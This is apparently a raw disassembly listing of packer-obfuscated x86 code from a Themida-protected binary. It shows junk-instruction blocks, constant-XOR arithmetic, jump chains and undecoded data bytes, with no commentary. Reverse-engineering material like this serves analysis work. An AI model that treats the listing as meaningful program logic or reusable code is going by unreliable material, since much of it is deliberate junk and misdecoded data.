loc_55CA1B:				; CODE XREF: Themida_:0055EE97j
		add	esp, 4
		mov	[eax], bl
		mov	ebx, [esp]
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	1D57h
		mov	[esp], eax
		jmp	loc_55E4FD
; ---------------------------------------------------------------------------
		dd 4B9h, 8BCE8900h, 45E9240Ch, 6800002Eh, 4631h, 81240C89h
		dd 4F5F242Ch, 53582F23h, 0EC56FABBh, 81DBF76Bh,	0F059A7EBh
		dd 56FA2D64h, 0D8017650h, 5056FA05h, 29595B76h,	0F0E958C5h
		dd 8B000061h, 0C481242Ch, 4, 9D8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CA9D:				; CODE XREF: Themida_:0056CF57j
		xor	ebp, 558F21EBh
		xor	ebp, 3DD93A4Ah
		shl	ebp, 3
		jmp	loc_566C70
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aIusb		db '┴ЦИBх',0
		dw 0E900h
		dd 0FFFFFA0Ch, 4C381h, 0BE560000h, 4, 875EF329h, 895C241Ch
		dd 54BA2414h, 0E958A04Ch, 8497h, 0E95FF901h, 5F66h, 241C8B66h
		db 55h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56CD83
; ---------------------------------------------------------------------------


loc_55CAFB:				; CODE XREF: Themida_:00566D00j
		pop	eax
		mov	edx, [esp]
		jmp	loc_563BEB
; ---------------------------------------------------------------------------
		dd 66C0B70Fh, 0E936D468h, 7BA4h
; ---------------------------------------------------------------------------


loc_55CB10:				; CODE XREF: Themida_:005610C1j
		push	edi
		push	4EFh
		mov	[esp], eax
		jmp	loc_56C36C
; ---------------------------------------------------------------------------
		dw 0B5Ch
		dd 34840FC9h, 830000F4h, 0B2E904ECh, 89000112h,	2965E9F1h
		dd 0EA810000h, 35F1BC13h, 2D5AD029h, 79234FACh,	153E105h
		dd 0D9BB534Fh, 817DAF1Bh, 49F78DEBh, 0A8BBE93Eh, 0F8010000h
		dd 4EC835Fh, 0FF240489h, 8B042474h, 99E92404h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CB6F:				; CODE XREF: Themida_:0055D482j
		pop	ebx
		xor	edi, 436A3E44h
		push	edi
		xor	dword ptr [esp], 2297204Dh
		pop	ecx
		xor	ecx, 2297204Dh
		jmp	loc_55CEC1
; ---------------------------------------------------------------------------
		dw 2D5Dh
		dd 3F621B23h, 48BC601h,	5A6FE924h, 89500000h, 7906E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CBA2:				; CODE XREF: Themida_:0056DCC5j
		sub	ecx, 3108839Fh
		sub	eax, ecx
		jmp	loc_561B16
; ---------------------------------------------------------------------------
		db 28h
		dd 148B66F3h, 2C48124h,	80000000h, 0C380ACC3h, 80C32866h
		dd 0E0E966EBh, 500009Dh, 0A62C6BF1h, 158C301h, 0BA5257FBh
		dd 44BA1C9Fh, 0AEE9D789h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CBE3:				; CODE XREF: Themida_:00564851j
		add	ecx, 17A72EDCh
		xor	ecx, 7EEB582Ah
		neg	ecx
		xor	ecx, 0D47CFD63h
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1E5D5E78h
		not	eax
		xor	eax, 63CF4FD3h
		jmp	loc_55F735
; ---------------------------------------------------------------------------


loc_55CC11:				; CODE XREF: Themida_:00565BABj
		mov	edi, 18A07402h
		jmp	loc_56E02A
; ---------------------------------------------------------------------------


loc_55CC1B:				; CODE XREF: Themida_:0056DB10j
		add	edx, 664B535Eh
		sub	edx, 377861Eh
		push	41BDh
		mov	[esp], eax
		jmp	loc_55E67E
; ---------------------------------------------------------------------------


loc_55CC34:				; CODE XREF: Themida_:005647D7j
		mov	esp, [esp]
		jmp	loc_56F7B9
; ---------------------------------------------------------------------------
		dd 0BF57E189h, 4, 505FF901h, 4B8h, 0E9C12900h, 0C974h
		dd 2BF5759h, 81000000h,	0D22263C3h, 81FB012Ah, 0D22263EBh
		dd 2434FF2Ah, 5D54555Fh, 4C581h, 0C5830000h, 242C3304h
		dd 33242C31h, 335C242Ch, 68E9241Ch, 5200011Fh, 8E256EBAh
		dd 41BE5638h, 0E96C863Ch, 8DA1h, 0E9E08950h, 0CD4Fh
; ---------------------------------------------------------------------------


loc_55CCA4:				; CODE XREF: Themida_:0055E2B4j
		add	ch, dh
		jmp	loc_561C72
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CA8105E2h, 59F253C2h, 0F3DEEA81h, 0D601FDFBh, 8324148Bh
		dd 0BDE904C4h, 880000C4h, 5BFA88E7h, 8124048Bh,	4C4h, 66D03000h
		dd 0E924148Bh, 5E55h, 4B9515Ah,	1000000h, 240C8BCAh, 0B405E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CCF2:				; CODE XREF: Themida_:0055DEBDj
		inc	edi
		jmp	loc_564C3C
; ---------------------------------------------------------------------------
		dd 4244C01h, 91EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CD01:				; CODE XREF: Themida_:0055E346j
		pop	edx
		jmp	loc_56F7E4
; ---------------------------------------------------------------------------
		dd offset dword_5C3168
		align 4
		dd 24048F54h, 24AFE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD16:				; CODE XREF: Themida_:0056E4C3j
		mov	[esp], ebx
		push	edx
		mov	edx, 4C382D42h
		jmp	loc_568331
; ---------------------------------------------------------------------------
aIISV		db '┬ь[┬цИ$V',0
		align 2
		dw 83ADh
		dd 0F00207Fh, 0FE5C84h,	7D486800h, 2C890000h, 7FA5BD24h
		dd 0E5C176ABh, 6FAFE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD4E:				; CODE XREF: Themida_:0055C7D5j
		mov	[esp], ebx
		mov	edx, [esp]
		add	esp, 4
		push	1749h
		mov	[esp], edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_56B371
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0DEh
		dd 12F1A6Dh, 60E951D3h,	8100012Ah, 18A011C6h, 34ED058Ah
		dd 0F0011757h, 5734ED2Dh, 8685E17h, 89000005h, 0C3682414h
		dd 89000069h, 4BB241Ch,	89000000h, 36055BDAh, 0E9015611h
		dd 12696h, 635BE9ADh, 0BD550000h, 5E96493Fh, 0F702E5C1h
		dd 7CED81DDh, 317368D6h, 1448E9EEh, 34FF0000h, 1AD9E924h
		dd 0EC830001h, 242C8904h, 0B04FF7BDh, 8BEE0148h, 4E9242Ch
		dd 0FF0000BAh, 18E92434h, 0BD000004h, 74E870C5h, 0AAE9EF21h
		dd 5C0000CFh, 89241C89h, 99BF57E3h, 0E927DB45h,	12B34h
		dd 0BF243C89h, 3C501440h, 0A03EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CE35:				; CODE XREF: Themida_:0055ECB3j
		xor	[esp], ecx
		jmp	loc_569321
; ---------------------------------------------------------------------------


loc_55CE3D:				; CODE XREF: Themida_:0056CA2Fj
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_569950
; ---------------------------------------------------------------------------
		db 0B3h
		dd 66D80030h, 0CBB2525Bh, 9156E9h, 0E9D00100h, 6F62h, 0B0240489h
		dd 0B668E9B0h, 0D8300000h, 5220B753h, 0CFD5E9h,	74FF5500h
		dd 0DBE90424h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE7B:				; CODE XREF: Themida_:005630D6j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	544Ah
		jmp	loc_567934
; ---------------------------------------------------------------------------
		dd 0FE97B551h, 3E1FE9C5h, 0FE590000h, 6096E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CEA2:				; CODE XREF: Themida_:0055DDEDj
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 6CA07F75h
		jmp	loc_567292
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 59C830C3h, 0C67E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CEC1:				; CODE XREF: Themida_:0055CB85j
		pop	edi
		sub	dword ptr [esp+4], 557D5A83h
		sub	[esp+4], ecx
		push	edx
		mov	edx, 557D5A83h
		add	[esp+8], edx
		pop	edx
		jmp	loc_56934C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 25CA68h, 24348900h, 0B823E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CEF1:				; CODE XREF: Themida_:00560A58j
		push	7CD1h
		mov	[esp], ebx
		jmp	loc_55EE3A
; ---------------------------------------------------------------------------
aSUlbtsv	db 'S╩⌠LBTИ┌ю',0
		db 0
; ---------------------------------------------------------------------------


loc_55CF09:				; CODE XREF: Themida_:00567065j
		mov	ebp, 4
		jmp	loc_56DB4D
; ---------------------------------------------------------------------------


loc_55CF13:				; CODE XREF: Themida_:00569D87j
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_55EF11
; ---------------------------------------------------------------------------


loc_55CF30:				; CODE XREF: Themida_:00569765j
		add	ebx, edi
		pop	edi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_566C69
; ---------------------------------------------------------------------------
		dw 0F753h
		dd 0E95B2414h, 3A79h, 4025BE56h, 0CE813224h, 6AB55850h
		dd 7E7EE681h, 0E6810EDCh, 24727ABFh, 57A7E9h, 0EDC38100h
		dd 812B2308h, 5AEED6C3h, 5BDA01C3h, 1154BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CF7D:				; CODE XREF: Themida_:0055DA73j
		sub	eax, 1
		xor	eax, 220A562Bh
		sub	esi, 69F7214Ch
		add	esi, eax
		add	esi, 69F7214Ch
		jmp	loc_5680DF
; ---------------------------------------------------------------------------
		dd 0E951E089h, 0FFFFF5FBh, 0E98734FFh, 7D0Eh, 47E95551h
		dd 0C9h, 59EB80C3h, 0E9EDC380h,	13B2Bh,	6824048Bh, 183Bh
		dd 89243C89h, 0F82E9E7h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55CFCE:				; CODE XREF: Themida_:00561ABDj
		sub	ecx, 7CAA2D93h
		jmp	loc_569E5B
; ---------------------------------------------------------------------------
		db 5Ah,	57h, 0BFh
		dd 4, 3E9FA01h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CFE7:				; CODE XREF: Themida_:005703D7j
		mov	edx, 627D3FB0h
		xor	edx, esi
		pop	esi
		sub	edx, esi
		mov	esi, edx
		jmp	loc_56FE0D
; ---------------------------------------------------------------------------
		dd 2BAh, 43D1E900h, 55D0000h, 6584188Ah, 5383E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D00D:				; CODE XREF: Themida_:0055F51Fj
		xor	edx, 71426A2Bh
		jmp	loc_56D6F4
; ---------------------------------------------------------------------------
aIiSsvr		db '┴К]SИ╒░',0
		dd 97B45000h, 8033C480h, 536687CCh, 0FC0043B7h,	0EC805B66h
		dd 0E9E20011h, 99E1h, 0E9CAB450h, 150Fh
; ---------------------------------------------------------------------------


loc_55D044:				; CODE XREF: Themida_:0055FD1Cj
		or	esi, edx
		pop	edx
		jmp	loc_56E073
; ---------------------------------------------------------------------------
		dd 159068h, 242C8900h, 0D8DEF9BDh, 5DE801F0h, 48BC101h
		dd 4C48124h, 0E9000000h, 494Fh,	2404205Ch, 0F456E99Ch
		dd 34FFFFFFh, 4EE95824h, 0B8000100h, 51595FA1h,	0E54AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D089:				; CODE XREF: Themida_:0056AD31j
		mov	ebp, 4A848E7h
		push	eax
		jmp	loc_56719D
; ---------------------------------------------------------------------------


loc_55D094:				; CODE XREF: Themida_:0056722Ej
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_55D099:				; CODE XREF: Themida_:0056C0ADj
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_56D50A
; ---------------------------------------------------------------------------
		dd 4BF57h, 0F9890000h, 0E4EA815Fh, 0E93F363Eh, 9CA1h, 89E95457h
		db 3Eh,	1, 0
; ---------------------------------------------------------------------------


loc_55D0C7:				; CODE XREF: Themida_:00570014j
		add	esp, 4
		jmp	loc_55E070
; ---------------------------------------------------------------------------


loc_55D0CF:				; CODE XREF: Themida_:00570360j
		add	edx, 0FFFFFFFFh
		sub	edx, 0D60CE8h
		mov	ebx, edx
		pop	edx
		not	ebx
		xor	ebx, 1AEB5DCDh
		xor	ebx, 3F1D4686h
		xor	ebx, 0A1E0EF1h
		xor	ebx, 0EA498C3Fh
		mov	ebp, ebx
		jmp	loc_567770
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 0B3B9240Ch, 49031457h, 0C1814141h, 5B6F2D63h
		dd 0AA2DC181h, 0CF29E544h, 36B4E959h, 0E9510001h, 1F37h
		dd 39685756h, 0E9662A0Ah, 9A87h
; ---------------------------------------------------------------------------


loc_55D134:				; CODE XREF: Themida_:00569AE6j
		mov	esi, 0BFD2C43h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56D7FC
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C3010000h, 8324048Bh, 0FF5304C4h, 0E9042474h, 0EA53h
		dd 81240C8Bh, 4C4h, 0E2895200h,	4C281h,	0EA830000h, 24148704h
		dd 2414895Ch, 0C2815A54h, 4, 0ADBA5255h, 0BD0ACD30h, 0ACD30B1h
		dd 0FBE9D529h, 8D0000A6h, 43688704h, 8900005Ch,	8C682434h
		dd 8900001Dh, 4812424h,	424h, 77E95E00h, 0B200006Ch, 0BCFFE99Fh
		dd 0C330000h, 24248B24h, 6298E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D1CA:				; CODE XREF: Themida_:00566D2Bj
		add	eax, esi
		pop	esi
		jmp	loc_5669C8
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 1530E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D1DA:				; CODE XREF: Themida_:0055D32Dj
		add	eax, 0C2D67457h
		sub	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_56F6FA
; ---------------------------------------------------------------------------


loc_55D1EB:				; CODE XREF: Themida_:00570B89j
		push	edx
		mov	edx, 71BC2DF3h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56E47F
; ---------------------------------------------------------------------------


loc_55D1FC:				; CODE XREF: Themida_:0056BB33j
		add	edi, esi
		pop	esi
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56627D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A1E9240Ch
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D22B:				; CODE XREF: Themida_:0055F15Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_567C0E
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 10h
		dd 812D4472h, 56DFA6C5h, 28BEE928h, 0C2810001h,	140405BAh
		dd 0FFF273E9h, 4BF57FFh, 1000000h, 0C1835FF9h, 240C8704h
		dd 24048F5Ch, 0F724248Bh, 32D768E9h, 14890000h,	0D79E924h
		dd 0FF540001h, 0E95B2434h, 0A857h
; ---------------------------------------------------------------------------


loc_55D288:				; CODE XREF: Themida_:00570B6Bj
		mov	eax, esp
		jmp	loc_56ABA3
; ---------------------------------------------------------------------------


loc_55D28F:				; CODE XREF: Themida_:0055D51Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	esi
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_570B4C
; ---------------------------------------------------------------------------


loc_55D2B6:				; CODE XREF: Themida_:0056D385j
		mov	ebp, 0E431ACFh
		jmp	loc_56EF2B
; ---------------------------------------------------------------------------


loc_55D2C0:				; CODE XREF: Themida_:005625EEj
		push	eax
		push	ecx
		mov	cl, 0A6h
		jmp	loc_5667AF
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 69h
		dd 0E9521578h, 0CBB3h, 3C8BFE01h, 4C48124h, 0E9000000h
		dd 7A4Eh, 551C77FFh, 209CBF57h,	0FD894CC4h, 5F2434FFh
		dd 9537E956h, 14890000h, 24348124h, 33D874AAh, 0CA01E9h
		dd 0DF315E00h, 3B13E95Bh, 34FF0001h, 4FE95824h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D31B:				; CODE XREF: Themida_:0055DFE0j
		dec	edi
		not	edi
		neg	edi
		push	728Ch
		mov	[esp], eax
		mov	eax, 2E2E471Fh
		jmp	loc_55D1DA
; ---------------------------------------------------------------------------


loc_55D332:				; CODE XREF: Themida_:00565DE2j
		mov	ebp, 17601E0Fh
		push	edx
		mov	edx, 26AF7D01h
		add	edx, 0F818FA2Bh
		and	ebp, edx
		pop	edx
		sub	ebp, 1
		dec	ebp
		inc	ebp
		add	ebp, 0E9BFE9F9h
		add	esi, ebp
		jmp	loc_56F9D2
; ---------------------------------------------------------------------------
		dd offset dword_4E616C+6FCh
		align 10h
		dd 0BB241C89h, 5813C13h, 0BF7EB81h, 0EB8122E6h,	0C5351BEBh
		dd 4E31F381h, 575608C9h, 45042DBFh, 4EC8120h, 89000000h
		dd 0BB532414h, 78C509D3h, 8108EBC1h, 520F1DCBh,	81EBD16Dh
		dd 9506F9EBh, 34C0E96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D3A6:				; CODE XREF: Themida_:00563D2Cj
		movzx	eax, al
		push	4FC9h
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5685EA
; ---------------------------------------------------------------------------
		dd 0FFF0EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D3DD:				; CODE XREF: Themida_:005676A2j
		neg	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_564286
; ---------------------------------------------------------------------------
		dw 3487h
		dd 1EF6E924h, 0F660001h, 0EC8102B6h, 4,	68243C89h, 7E1h
		dd 0E9242489h, 7E5Fh, 6DB4C681h, 0C6812E91h, 480D1E54h
		dd 295EF701h, 68EF81DFh, 5B2D3F55h, 4B84E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D429:				; CODE XREF: Themida_:0056BD83j
		xor	ebx, 5A1E0423h
		neg	ebx
		shr	ebx, 5
		push	edx
		mov	edx, 6C45075h
		inc	edx
		sub	edx, 0A540B19Ah
		jmp	loc_55ECC0
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 592434FFh, 5A04C483h, 3302C383h, 6E9241Ch
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D45B:				; CODE XREF: Themida_:00562D33j
		pop	esp
		mov	[esp], ecx
		push	41F6h
		mov	[esp], edi
		mov	edi, 277C7D73h
		dec	edi
		sub	edi, 1B2A3BC2h
		dec	edi
		add	edi, 62F72AC7h
		push	ebx
		mov	ebx, 7641D1Ah
		xor	edi, ebx
		jmp	loc_55CB6F
; ---------------------------------------------------------------------------
aAS1e		db '─ц╪И1┘',0
		dw 8100h
		dd 644A28F1h, 59CE893Fh, 81DEF74Eh, 994E5DF6h, 22F6817Bh
		dd 55170A0Ch, 0BB008CBDh, 0E9EE210Ch, 1F92h
; ---------------------------------------------------------------------------


loc_55D4B4:				; CODE XREF: Themida_:0056AE0Cj
		shl	ebx, 6
		sub	esp, 4
		jmp	loc_56FC03
; ---------------------------------------------------------------------------
aBFkiqs0k	db '│бFK╘QИ0k',0
		align 2
		dw 0C89h
		dd 0E9008F24h, 0FFFFEFF8h, 0AE9E789h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55D4DB:				; CODE XREF: Themida_:0056C500j
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 2C7E6920h
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_568E55
; ---------------------------------------------------------------------------


loc_55D508:				; CODE XREF: Themida_:0056B69Aj
		mov	ebx, [esp]
		push	eax
		jmp	loc_56F4F9
; ---------------------------------------------------------------------------


loc_55D511:				; CODE XREF: Themida_:00569490j
		add	edi, ecx
		mov	ecx, [esp]
		push	320Ch
		mov	[esp], ecx
		jmp	loc_55D28F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 6E9B284Bh, 4A39EB81h, 0CB0137EAh, 4A39C381h,	5F5937EAh
		dd 0FABAE952h, 565DFFFFh, 0FB79B8BEh, 0B4EE813Dh, 813DFB79h
		dd 2C03DCC5h, 0E9F50106h, 0BFF7h
; ---------------------------------------------------------------------------


loc_55D558:				; CODE XREF: Themida_:0056BA1Aj
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_56A736
; ---------------------------------------------------------------------------


loc_55D56E:				; CODE XREF: Themida_:0056B544j
		or	ecx, 7AB22A06h
		push	0
		jmp	loc_55E791
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 282BF24h, 0E7C14166h, 72E95307h, 0FF000120h,	35E94077h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D597:				; CODE XREF: Themida_:005602E1j
		pop	eax
		jmp	loc_565B6D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E3895324h, 4C381h, 16680000h, 89000075h, 2BF243Ch
		dd 81000000h, 812049C3h, 0B6B8500Eh, 0D542B54h,	8933FE2h
		dd 490DD0F7h, 531411Bh,	1, 105h, 0F5EDE900h, 0F301FFFFh
		dd 68565D5Eh, 2, 5EF3015Eh, 8B241C87h, 2CD32424h, 8BE99C24h
		dd 66000054h, 68240C8Bh, 7D57h,	68243489h, 2B2Eh, 314768h
		dd 24248900h, 4240483h,	8124048Fh, 42404h, 685E0000h, 1556h
		dd 81243C89h, 4ECh, 242C8900h, 2B3B0CBDh, 3FF5811Ah, 8168E23Ah
		dd 0FE082CCDh, 7666E965h, 44010000h, 8B580424h,	0C483241Ch
		dd 1B9DE904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D65A:				; CODE XREF: Themida_:00569C27j
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5669BD
; ---------------------------------------------------------------------------


loc_55D667:				; CODE XREF: Themida_:00562741j
		xor	[esp], ecx
		not	ecx
		jmp	loc_565DC4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0F381DBF7h, 8BBFDC20h, 1C8BDE01h, 4C48324h, 0E48FE9h
		dd 1AC56800h, 1C890000h, 0C9E7E924h, 0F8010000h, 3001222Dh
		dd 1A172D3Ch, 2DE95AABh, 0FE000037h, 1EC80C4h, 86FDF480h
		dd 7B44E9D4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6B6:				; CODE XREF: Themida_:0056FACEj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56AFCE
; ---------------------------------------------------------------------------
		dd 0E904C483h, 113F9h, 74B9BD55h, 18E918C5h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6DF:				; CODE XREF: Themida_:0055F58Fj
		push	32BEh
		mov	[esp], edx
		push	ebx
		mov	ebx, 664245A2h
		mov	edx, 0A6BF5C98h
		sub	edx, ebx
		pop	ebx
		shr	edx, 3
		xor	edx, 80FA2DAh
		sub	eax, 2A7537A1h
		jmp	loc_56A7A3
; ---------------------------------------------------------------------------


loc_55D708:				; CODE XREF: Themida_:0056C228j
		push	esi
		push	eax
		jmp	loc_56EA37
; ---------------------------------------------------------------------------


loc_55D70F:				; CODE XREF: Themida_:0056B907j
		push	5EBEh
		jmp	loc_55E7A2
; ---------------------------------------------------------------------------


loc_55D719:				; CODE XREF: Themida_:00564574j
		mov	ebx, 75BA4C37h
		shr	ebx, 5
		sub	ebx, 0CF2F927Ah
		push	4CA9h
		mov	[esp], edx
		jmp	loc_56B65D
; ---------------------------------------------------------------------------


loc_55D734:				; CODE XREF: Themida_:0055F014j
		mov	dh, 0FEh
		mov	ch, 8Ch
		xor	ch, dh
		jmp	loc_55FBAC
; ---------------------------------------------------------------------------
		db 81h
		dd 785733C3h, 9BC38159h, 8B1AD545h, 0C4832414h,	8691E904h
		dd 0E7810000h, 750C78DCh, 0EFC1DFF7h, 0CAEF8102h, 474BA160h
		dd 0CA91C781h, 46E9716Ch, 5F000136h, 8324348Bh,	685604C4h
		dd 4, 0F8ED815Eh, 12BA331h, 0F8C581F5h,	5E2BA331h, 31242C33h
		dd 2C33242Ch, 0F665C24h, 686600B6h, 89664DACh, 0B4E92404h
		dd 810000BAh, 4C2h, 25C3E900h, 4B050001h, 52D6D2Dh, 30E22E7Ah
		dd 0C4C8E9h, 90E95A00h
		db 1Dh,	1, 0
; ---------------------------------------------------------------------------


loc_55D7CB:				; CODE XREF: Themida_:005677A9j
		xchg	ecx, ebp
		jmp	loc_568932
; ---------------------------------------------------------------------------


loc_55D7D2:				; CODE XREF: Themida_:00565E5Dj
		pop	edx
		xor	cl, dl
		xor	dl, cl
		jmp	loc_566E97
; ---------------------------------------------------------------------------
		dd 52240C89h, 1E578DBAh, 5AD18913h, 936E181h, 0F181526Bh
		dd 1BCF0A32h, 86E9C831h, 5C000019h, 0FFECCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D801:				; CODE XREF: Themida_:00570710j
		add	esp, 4
		push	5F04h
		mov	[esp], ebx
		push	6E59h
		jmp	loc_570A65
; ---------------------------------------------------------------------------
		db 5, 0D4h, 55h
aB4Sf7		db '│4]ИД7',0
		align 4


loc_55D824:				; CODE XREF: Themida_:00569BCAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_566A4B
; ---------------------------------------------------------------------------
		db 0ADh, 57h, 54h
		dd 4C7815Fh, 0E9000000h, 2C3Fh,	240C895Ch, 1171AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D84D:				; CODE XREF: Themida_:0056BD8Aj
		sub	ebx, 3037284Bh
		jmp	loc_566627
; ---------------------------------------------------------------------------


loc_55D858:				; CODE XREF: Themida_:0056B8DDj
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		not	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	edx
		jmp	loc_56AF43
; ---------------------------------------------------------------------------
		db 81h
		dd 0D32C03C7h, 7DEF8129h, 5B7D4C0Ah, 8904EC83h,	2BD242Ch
		dd 81000000h, 0F45E05C7h, 0A0FE908h, 0EE810001h, 0D8FCDEE1h
		dd 0E95EF229h, 8FC5h, 234FAC05h, 4EC8179h, 89000000h, 66BD242Ch
		dd 45679423h, 315CF581h, 0BA5271A7h, 59F84537h,	6DB3E9h
		dd 240C8900h, 0BA525954h, 7A1D7F94h, 6FA8F281h,	0D2F71800h
		dd 0F707EAC1h, 89C281DAh, 815B5353h, 178DAEF2h,	0FFD1015Ah
		dd 0E95A2434h, 11BD9h, 7C9BBE56h, 9FBB5527h, 3155277Ch
		dd 0E9815EF3h, 16860CADh, 0C181D901h, 16860CADh, 7E65685Bh
		dd 34890000h, 4BE24h, 0F1290000h, 240C875Eh, 1237DE9h
		dd 76E95D00h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D92B:				; CODE XREF: Themida_:005635A8j
		mov	edi, esi
		push	edi
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_567BCA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 1C8904ECh, 34FF5A24h, 85C2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D956:				; CODE XREF: Themida_:0056B195j
		mov	[esp], esi
		jmp	loc_564BE5
; ---------------------------------------------------------------------------


loc_55D95E:				; CODE XREF: Themida_:00564874j
		push	7259h
		jmp	loc_562D38
; ---------------------------------------------------------------------------
		db '[hн=',0
		align 2
		dw 1C89h
		dd 0CCB324h, 241C8BD8h,	7657E9h, 6BD5500h, 217B892Ah, 0C8685DE8h
		dd 0E9000027h, 948Eh, 42474FFh,	53242C8Bh, 241C8B54h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 79E92414h, 80000039h, 53515AC3h
		dd 0A751E9h, 240C8700h,	7A79E9h, 0BA525300h, 7E976144h
		dd 215AD389h, 241C8BD9h, 4C481h, 0F1810000h, 48267895h
		dd 19E9CF31h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D9E7:				; CODE XREF: Themida_:00564EEBj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
